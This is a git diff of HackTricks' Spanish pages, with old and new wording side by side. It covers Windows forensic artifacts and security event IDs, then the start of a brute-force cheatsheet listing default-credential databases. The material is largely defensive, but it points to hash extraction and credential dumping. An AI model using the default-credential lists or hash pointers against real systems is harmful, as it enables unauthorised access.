En `SAM\Domains\Account\Users` se puede obtener el nombre de usuario, el RID, último inicio de sesión, último inicio de sesión fallido, contador de inicio de sesión, política de contraseñas y cuándo se creó la cuenta. Para obtener los **hashes** también se **necesita** el archivo/base de datos **SYSTEM**. En `SAM\Domains\Account\Users` puedes obtener el nombre de usuario, el RID, el último inicio de sesión, el último inicio de sesión fallido, el contador de inicios de sesión, la política de contraseñas y cuándo se creó la cuenta. Para obtener los **hashes** también **necesitas** el archivo/hive **SYSTEM**.
### Entradas Interesantes en el Registro de Windows ### Entradas Interesantes en el Registro de Windows
@ -283,25 +285,25 @@ En `SAM\Domains\Account\Users` se puede obtener el nombre de usuario, el RID, ú
### Procesos Básicos de Windows ### Procesos Básicos de Windows
En [este post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puedes aprender sobre los procesos comunes de Windows para detectar comportamientos sospechosos. En [esta publicación](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puedes aprender sobre los procesos comunes de Windows para detectar comportamientos sospechosos.
### Aplicaciones Recientes de Windows ### Aplicaciones Recientes de Windows
Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\Search\RecentApps` puedes encontrar subclaves con información sobre la **aplicación ejecutada**, la **última vez** que se ejecutó y el **número de veces** que se lanzó. Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\Search\RecentApps` puedes encontrar subclaves con información sobre la **aplicación ejecutada**, **última vez** que fue ejecutada y **número de veces** que fue lanzada.
### BAM (Moderador de Actividad en Segundo Plano) ### BAM (Moderador de Actividad en Segundo Plano)
Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** se ejecutaron (la hora está dentro del valor de datos del registro). Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de Datos del registro).
### Prefetch de Windows ### Prefetch de Windows
El prefetching es una técnica que permite a una computadora **obtener silenciosamente los recursos necesarios** para mostrar contenido al que un usuario **podría acceder en un futuro cercano** para que los recursos se puedan acceder más rápido. El prefetching es una técnica que permite a una computadora **obtener silenciosamente los recursos necesarios para mostrar contenido** que un usuario **podría acceder en un futuro cercano** para que los recursos puedan ser accedidos más rápido.
El prefetch de Windows consiste en crear **cachés de los programas ejecutados** para poder cargarlos más rápido. Estas cachés se crean como archivos `.pf` dentro de la ruta: `C:\Windows\Prefetch`. Hay un límite de 128 archivos en XP/VISTA/WIN7 y 1024 archivos en Win8/Win10. El prefetch de Windows consiste en crear **cachés de los programas ejecutados** para poder cargarlos más rápido. Estas cachés se crean como archivos `.pf` dentro de la ruta: `C:\Windows\Prefetch`. Hay un límite de 128 archivos en XP/VISTA/WIN7 y 1024 archivos en Win8/Win10.
El nombre del archivo se crea como `{nombre_del_programa}-{hash}.pf` (el hash se basa en la ruta y argumentos del ejecutable). En W10 estos archivos están comprimidos. Cabe destacar que la mera presencia del archivo indica que **el programa fue ejecutado** en algún momento. El nombre del archivo se crea como `{program_name}-{hash}.pf` (el hash se basa en la ruta y argumentos del ejecutable). En W10, estos archivos están comprimidos. Ten en cuenta que la sola presencia del archivo indica que **el programa fue ejecutado** en algún momento.
El archivo `C:\Windows\Prefetch\Layout.ini` contiene los **nombres de las carpetas de los archivos que se prefetean**. Este archivo contiene **información sobre el número de ejecuciones**, **fechas** de la ejecución y **archivos** **abiertos** por el programa. El archivo `C:\Windows\Prefetch\Layout.ini` contiene los **nombres de las carpetas de los archivos que se prefetch**. Este archivo contiene **información sobre el número de ejecuciones**, **fechas** de la ejecución y **archivos** **abiertos** por el programa.
Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash ```bash
@ -311,10 +313,10 @@ Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](http
### Superprefetch ### Superprefetch
**Superprefetch** tiene el mismo objetivo que prefetch, **cargar programas más rápido** prediciendo qué se va a cargar a continuación. Sin embargo, no sustituye el servicio prefetch.\ **Superprefetch** tiene el mismo objetivo que prefetch, **cargar programas más rápido** al predecir qué se va a cargar a continuación. Sin embargo, no sustituye el servicio de prefetch.\
Este servicio generará archivos de base de datos en `C:\Windows\Prefetch\Ag*.db`. Este servicio generará archivos de base de datos en `C:\Windows\Prefetch\Ag*.db`.
En estas bases de datos puedes encontrar el **nombre** del **programa**, **número** de **ejecuciones**, **archivos** **abiertos**, **volumen** **accedido**, **ruta** **completa**, **marcos de tiempo** y **marcas de tiempo**. En estas bases de datos puedes encontrar el **nombre** del **programa**, **número** de **ejecuciones**, **archivos** **abiertos**, **volumen** **accedido**, **ruta** **completa**, **intervalos de tiempo** y **marcas de tiempo**.
Puedes acceder a esta información utilizando la herramienta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). Puedes acceder a esta información utilizando la herramienta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
@ -326,32 +328,32 @@ Proporciona la siguiente información:
* AppID y Ruta * AppID y Ruta
* Usuario que ejecutó el proceso * Usuario que ejecutó el proceso
* Bytes enviados * Bytes Enviados
* Bytes recibidos * Bytes Recibidos
* Interfaz de red * Interfaz de Red
* Duración de la conexión * Duración de la conexión
* Duración del proceso * Duración del proceso
Esta información se actualiza cada 60 minutos. Esta información se actualiza cada 60 minutos.
Puedes obtener los datos de este archivo utilizando la herramienta [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). Puedes obtener la fecha de este archivo utilizando la herramienta [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
```bash ```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
``` ```
### AppCompatCache (ShimCache) ### AppCompatCache (ShimCache)
El **AppCompatCache**, también conocido como **ShimCache**, forma parte de la **Base de Datos de Compatibilidad de Aplicaciones** desarrollada por **Microsoft** para abordar problemas de compatibilidad de aplicaciones. Este componente del sistema registra varios elementos de metadatos de archivos, que incluyen: El **AppCompatCache**, también conocido como **ShimCache**, forma parte de la **Base de Datos de Compatibilidad de Aplicaciones** desarrollada por **Microsoft** para abordar problemas de compatibilidad de aplicaciones. Este componente del sistema registra varias piezas de metadatos de archivos, que incluyen:
- Ruta completa del archivo * Ruta completa del archivo
- Tamaño del archivo * Tamaño del archivo
- Hora de última modificación bajo **$Standard\_Information** (SI) * Hora de última modificación bajo **$Standard\_Information** (SI)
- Hora de última actualización del ShimCache * Hora de última actualización del ShimCache
- Bandera de Ejecución del Proceso * Bandera de ejecución del proceso
Estos datos se almacenan en el registro en ubicaciones específicas según la versión del sistema operativo: Dicha información se almacena en el registro en ubicaciones específicas según la versión del sistema operativo:
- Para XP, los datos se almacenan en `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacidad para 96 entradas. * Para XP, los datos se almacenan en `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacidad para 96 entradas.
- Para Server 2003, así como para las versiones de Windows 2008, 2012, 2016, 7, 8 y 10, la ruta de almacenamiento es `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, con capacidad para 512 y 1024 entradas, respectivamente. * Para Server 2003, así como para las versiones de Windows 2008, 2012, 2016, 7, 8 y 10, la ruta de almacenamiento es `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 y 1024 entradas, respectivamente.
Para analizar la información almacenada, se recomienda utilizar la herramienta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). Para analizar la información almacenada, se recomienda utilizar la herramienta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
@ -359,23 +361,23 @@ Para analizar la información almacenada, se recomienda utilizar la herramienta
### Amcache ### Amcache
El archivo **Amcache.hve** es esencialmente un registro que registra detalles sobre las aplicaciones que se han ejecutado en un sistema. Normalmente se encuentra en `C:\Windows\AppCompat\Programas\Amcache.hve`. El archivo **Amcache.hve** es esencialmente un hive del registro que registra detalles sobre las aplicaciones que se han ejecutado en un sistema. Se encuentra típicamente en `C:\Windows\AppCompat\Programas\Amcache.hve`.
Este archivo es notable por almacenar registros de procesos ejecutados recientemente, incluidas las rutas a los archivos ejecutables y sus hashes SHA1. Esta información es invaluable para rastrear la actividad de las aplicaciones en un sistema. Este archivo es notable por almacenar registros de procesos ejecutados recientemente, incluyendo las rutas a los archivos ejecutables y sus hashes SHA1. Esta información es invaluable para rastrear la actividad de las aplicaciones en un sistema.
Para extraer y analizar los datos de **Amcache.hve**, se puede utilizar la herramienta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). El siguiente comando es un ejemplo de cómo utilizar AmcacheParser para analizar el contenido del archivo **Amcache.hve** y mostrar los resultados en formato CSV: Para extraer y analizar los datos de **Amcache.hve**, se puede utilizar la herramienta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). El siguiente comando es un ejemplo de cómo usar AmcacheParser para analizar el contenido del archivo **Amcache.hve** y exportar los resultados en formato CSV:
```bash ```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
``` ```
Entre los archivos CSV generados, el archivo `Entradas de archivos no asociados de Amcache` es particularmente notable debido a la rica información que proporciona sobre las entradas de archivos no asociados. Entre los archivos CSV generados, el `Amcache_Unassociated file entries` es particularmente notable debido a la rica información que proporciona sobre las entradas de archivos no asociadas.
El archivo CSV más interesante generado es el `Entradas de archivos no asociados de Amcache`. El archivo CVS más interesante generado es el `Amcache_Unassociated file entries`.
### RecentFileCache ### RecentFileCache
Este artefacto solo se puede encontrar en W7 en `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` y contiene información sobre la ejecución reciente de algunos binarios. Este artefacto solo se puede encontrar en W7 en `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` y contiene información sobre la ejecución reciente de algunos binarios.
Puedes utilizar la herramienta [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) para analizar el archivo. Puedes usar la herramienta [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) para analizar el archivo.
### Tareas programadas ### Tareas programadas
@ -388,99 +390,99 @@ Puedes encontrarlos en el registro bajo `SYSTEM\ControlSet001\Services`. Puedes
### **Windows Store** ### **Windows Store**
Las aplicaciones instaladas se pueden encontrar en `\ProgramData\Microsoft\Windows\AppRepository\`\ Las aplicaciones instaladas se pueden encontrar en `\ProgramData\Microsoft\Windows\AppRepository\`\
Este repositorio tiene un **registro** con **cada aplicación instalada** en el sistema dentro de la base de datos **`StateRepository-Machine.srd`**. Este repositorio tiene un **log** con **cada aplicación instalada** en el sistema dentro de la base de datos **`StateRepository-Machine.srd`**.
Dentro de la tabla de Aplicaciones de esta base de datos, es posible encontrar las columnas: "ID de la aplicación", "Número de paquete" y "Nombre para mostrar". Estas columnas tienen información sobre aplicaciones preinstaladas e instaladas y se puede determinar si algunas aplicaciones fueron desinstaladas porque los IDs de las aplicaciones instaladas deberían ser secuenciales. Dentro de la tabla de Aplicaciones de esta base de datos, es posible encontrar las columnas: "Application ID", "PackageNumber" y "Display Name". Estas columnas tienen información sobre aplicaciones preinstaladas e instaladas y se puede encontrar si algunas aplicaciones fueron desinstaladas porque los IDs de las aplicaciones instaladas deberían ser secuenciales.
También es posible **encontrar aplicaciones instaladas** en la ruta del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ También es posible **encontrar aplicaciones instaladas** dentro de la ruta del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Y **desinstaladas** **aplicaciones** en: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` Y **aplicaciones desinstaladas** en: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Eventos de Windows ## Eventos de Windows
La información que aparece en los eventos de Windows incluye: La información que aparece dentro de los eventos de Windows es:
* Qué sucedió * Lo que sucedió
* Marca de tiempo (UTC + 0) * Marca de tiempo (UTC + 0)
* Usuarios involucrados * Usuarios involucrados
* Equipos involucrados (nombre del host, IP) * Hosts involucrados (nombre de host, IP)
* Activos accedidos (archivos, carpetas, impresoras, servicios) * Activos accedidos (archivos, carpetas, impresoras, servicios)
Los registros se encuentran en `C:\Windows\System32\config` antes de Windows Vista y en `C:\Windows\System32\winevt\Logs` después de Windows Vista. Antes de Windows Vista, los registros de eventos estaban en formato binario y después, están en formato **XML** y utilizan la extensión **.evtx**. Los registros se encuentran en `C:\Windows\System32\config` antes de Windows Vista y en `C:\Windows\System32\winevt\Logs` después de Windows Vista. Antes de Windows Vista, los registros de eventos estaban en formato binario y después de eso, están en **formato XML** y utilizan la extensión **.evtx**.
La ubicación de los archivos de eventos se puede encontrar en el registro de SYSTEM en **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** La ubicación de los archivos de eventos se puede encontrar en el registro del SISTEMA en **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Se pueden visualizar desde el Visor de eventos de Windows (**`eventvwr.msc`**) o con otras herramientas como [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** Se pueden visualizar desde el Visor de Eventos de Windows (**`eventvwr.msc`**) o con otras herramientas como [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Comprensión del Registro de eventos de seguridad de Windows ## Comprendiendo el registro de eventos de seguridad de Windows
Los eventos de acceso se registran en el archivo de configuración de seguridad ubicado en `C:\Windows\System32\winevt\Security.evtx`. El tamaño de este archivo es ajustable y, cuando se alcanza su capacidad, los eventos antiguos son sobrescritos. Los eventos registrados incluyen inicios y cierres de sesión de usuarios, acciones de usuarios y cambios en la configuración de seguridad, así como acceso a activos compartidos, archivos y carpetas. Los eventos de acceso se registran en el archivo de configuración de seguridad ubicado en `C:\Windows\System32\winevt\Security.evtx`. El tamaño de este archivo es ajustable, y cuando se alcanza su capacidad, los eventos más antiguos se sobrescriben. Los eventos registrados incluyen inicios y cierres de sesión de usuarios, acciones de usuarios y cambios en la configuración de seguridad, así como acceso a archivos, carpetas y activos compartidos.
### IDs de eventos clave para la autenticación de usuarios: ### IDs de eventos clave para la autenticación de usuarios:
* **ID de evento 4624**: Indica que un usuario se autenticó correctamente. * **EventID 4624**: Indica que un usuario se autenticó con éxito.
* **ID de evento 4625**: Indica un fallo de autenticación. * **EventID 4625**: Señala un fallo de autenticación.
* **ID de eventos 4634/4647**: Representan eventos de cierre de sesión de usuarios. * **EventIDs 4634/4647**: Representan eventos de cierre de sesión de usuarios.
* **ID de evento 4672**: Denota inicio de sesión con privilegios administrativos. * **EventID 4672**: Denota inicio de sesión con privilegios administrativos.
#### Subtipos dentro de los ID de eventos 4634/4647: #### Subtipos dentro de EventID 4634/4647:
* **Interactivo (2)**: Inicio de sesión directo del usuario. * **Interactivo (2)**: Inicio de sesión directo del usuario.
* **Red (3)**: Acceso a carpetas compartidas. * **Red (3)**: Acceso a carpetas compartidas.
* **Lote (4)**: Ejecución de procesos por lotes. * **Lote (4)**: Ejecución de procesos por lotes.
* **Servicio (5)**: Inicio de servicios. * **Servicio (5)**: Lanzamientos de servicios.
* **Proxy (6)**: Autenticación de proxy. * **Proxy (6)**: Autenticación proxy.
* **Desbloqueo (7)**: Desbloqueo de pantalla con contraseña. * **Desbloquear (7)**: Pantalla desbloqueada con una contraseña.
* **Red en texto claro (8)**: Transmisión de contraseña en texto claro, a menudo desde IIS. * **Texto claro de red (8)**: Transmisión de contraseña en texto claro, a menudo desde IIS.
* **Nuevas credenciales (9)**: Uso de credenciales diferentes para el acceso. * **Nuevas credenciales (9)**: Uso de diferentes credenciales para el acceso.
* **Interactivo remoto (10)**: Inicio de sesión de escritorio remoto o servicios de terminal. * **Interactivo remoto (10)**: Inicio de sesión en escritorio remoto o servicios de terminal.
* **Interactivo en caché (11)**: Inicio de sesión con credenciales en caché sin contacto con el controlador de dominio. * **Interactivo en caché (11)**: Inicio de sesión con credenciales en caché sin contacto con el controlador de dominio.
* **Interactivo remoto en caché (12)**: Inicio de sesión remoto con credenciales en caché. * **Interactivo remoto en caché (12)**: Inicio de sesión remoto con credenciales en caché.
* **Desbloqueo en caché (13)**: Desbloqueo con credenciales en caché. * **Desbloqueo en caché (13)**: Desbloqueo con credenciales en caché.
#### Códigos de estado y subestado para el ID de evento 4625: #### Códigos de estado y subestado para EventID 4625:
* **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario. * **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario.
* **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza de contraseña o fuerza bruta. * **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza de contraseña o fuerza bruta.
* **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples intentos de inicio de sesión fallidos. * **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples inicios de sesión fallidos.
* **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas. * **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas.
* **0xC000006F**: Inicio de sesión fuera del horario permitido - Indica intentos de acceso fuera del horario de inicio de sesión establecido, una posible señal de acceso no autorizado. * **0xC000006F**: Inicio de sesión fuera del tiempo permitido - Indica intentos de acceso fuera de las horas de inicio de sesión establecidas, un posible signo de acceso no autorizado.
* **0xC0000070**: Violación de restricciones del lugar de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada. * **0xC0000070**: Violación de restricciones de estación de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada.
* **0xC0000193**: Expiración de cuenta - Intentos de acceso con cuentas de usuario vencidas. * **0xC0000193**: Expiración de cuenta - Intentos de acceso con cuentas de usuario expiradas.
* **0xC0000071**: Contraseña vencida - Intentos de inicio de sesión con contraseñas obsoletas. * **0xC0000071**: Contraseña expirada - Intentos de inicio de sesión con contraseñas desactualizadas.
* **0xC0000133**: Problemas de sincronización de tiempo - Grandes discrepancias de tiempo entre el cliente y el servidor pueden ser indicativas de ataques más sofisticados como pass-the-ticket. * **0xC0000133**: Problemas de sincronización de tiempo - Grandes discrepancias de tiempo entre el cliente y el servidor pueden ser indicativas de ataques más sofisticados como pass-the-ticket.
* **0xC0000224**: Cambio obligatorio de contraseña requerido - Cambios obligatorios frecuentes podrían sugerir un intento de desestabilizar la seguridad de la cuenta. * **0xC0000224**: Se requiere cambio de contraseña obligatorio - Cambios obligatorios frecuentes podrían sugerir un intento de desestabilizar la seguridad de la cuenta.
* **0xC0000225**: Indica un error del sistema en lugar de un problema de seguridad. * **0xC0000225**: Indica un error del sistema en lugar de un problema de seguridad.
* **0xC000015b**: Tipo de inicio de sesión denegado - Intento de acceso con un tipo de inicio de sesión no autorizado, como un usuario que intenta ejecutar un inicio de sesión de servicio. * **0xC000015b**: Tipo de inicio de sesión denegado - Intento de acceso con un tipo de inicio de sesión no autorizado, como un usuario que intenta ejecutar un inicio de sesión de servicio.
#### EventoID 4616: #### EventID 4616:
* **Cambio de hora**: Modificación de la hora del sistema, podría oscurecer la línea de tiempo de los eventos. * **Cambio de hora**: Modificación de la hora del sistema, podría oscurecer la línea de tiempo de los eventos.
#### EventID 6005 y 6006: #### EventID 6005 y 6006:
* **Inicio y apagado del sistema**: El EventID 6005 indica el inicio del sistema, mientras que el EventID 6006 marca el apagado. * **Inicio y apagado del sistema**: EventID 6005 indica que el sistema se está iniciando, mientras que EventID 6006 marca su apagado.
#### EventID 1102: #### EventID 1102:
* **Eliminación de registro**: Los registros de seguridad se borran, lo cual suele ser una señal de encubrimiento de actividades ilícitas. * **Eliminación de registros**: Los registros de seguridad están siendo borrados, lo que a menudo es una señal de alerta para encubrir actividades ilícitas.
#### Eventos para el seguimiento de dispositivos USB: #### EventIDs para el seguimiento de dispositivos USB:
* **20001 / 20003 / 10000**: Primera conexión del dispositivo USB. * **20001 / 20003 / 10000**: Primera conexión del dispositivo USB.
* **10100**: Actualización del controlador USB. * **10100**: Actualización del controlador USB.
* **EventoID 112**: Hora de inserción del dispositivo USB. * **EventID 112**: Hora de inserción del dispositivo USB.
Para ejemplos prácticos sobre la simulación de estos tipos de inicio de sesión y oportunidades de robo de credenciales, consulta la guía detallada de [Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). Para ejemplos prácticos sobre cómo simular estos tipos de inicio de sesión y oportunidades de volcado de credenciales, consulta la [guía detallada de Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Los detalles de los eventos, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas de los eventos, especialmente notable en el Evento ID 4625. Los detalles del evento, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas del evento, especialmente notables en el Event ID 4625.
### Recuperación de eventos de Windows ### Recuperando eventos de Windows
Para aumentar las posibilidades de recuperar eventos de Windows eliminados, es recomendable apagar directamente la computadora sospechosa desenchufándola. Se recomienda utilizar **Bulk\_extractor**, una herramienta de recuperación que especifica la extensión `.evtx`, para intentar recuperar dichos eventos. Para aumentar las posibilidades de recuperar eventos de Windows eliminados, se recomienda apagar la computadora sospechosa desconectándola directamente. **Bulk\_extractor**, una herramienta de recuperación que especifica la extensión `.evtx`, se recomienda para intentar recuperar tales eventos.
### Identificación de ataques comunes a través de eventos de Windows ### Identificando ataques comunes a través de eventos de Windows
Para obtener una guía completa sobre cómo utilizar los ID de eventos de Windows para identificar ataques cibernéticos comunes, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). Para una guía completa sobre cómo utilizar los IDs de eventos de Windows para identificar ataques cibernéticos comunes, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Ataques de fuerza bruta #### Ataques de fuerza bruta
@ -488,15 +490,31 @@ Identificables por múltiples registros de EventID 4625, seguidos de un EventID
#### Cambio de hora #### Cambio de hora
Registrado por el EventID 4616, los cambios en la hora del sistema pueden complicar el análisis forense. Registrado por EventID 4616, los cambios en la hora del sistema pueden complicar el análisis forense.
#### Seguimiento de dispositivos USB #### Seguimiento de dispositivos USB
Los útiles EventIDs del sistema para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcar los tiempos de inserción. IDs de eventos del sistema útiles para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción.
#### Eventos de Encendido del Sistema
El EventID 6005 indica el inicio del sistema, mientras que el EventID 6006 marca el apagado. #### Eventos de energía del sistema
#### Eliminación de Registros EventID 6005 indica el inicio del sistema, mientras que EventID 6006 marca el apagado.
El EventID 1102 de Seguridad señala la eliminación de registros, un evento crítico para el análisis forense. #### Eliminación de registros
El EventID de seguridad 1102 señala la eliminación de registros, un evento crítico para el análisis forense.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Fuerza Bruta - Hoja de Trucos # Brute Force - CheatSheet
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
## Credenciales Predeterminadas ## Credenciales por Defecto
**Busca en Google** las credenciales predeterminadas de la tecnología que se está utilizando, o **prueba estos enlaces**: **Busca en google** las credenciales por defecto de la tecnología que se está utilizando, o **prueba estos enlaces**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -37,11 +38,11 @@ Otras formas de apoyar a HackTricks:
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/) * [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Crea tus propios Diccionarios** ## **Crea tus propios Diccionarios**
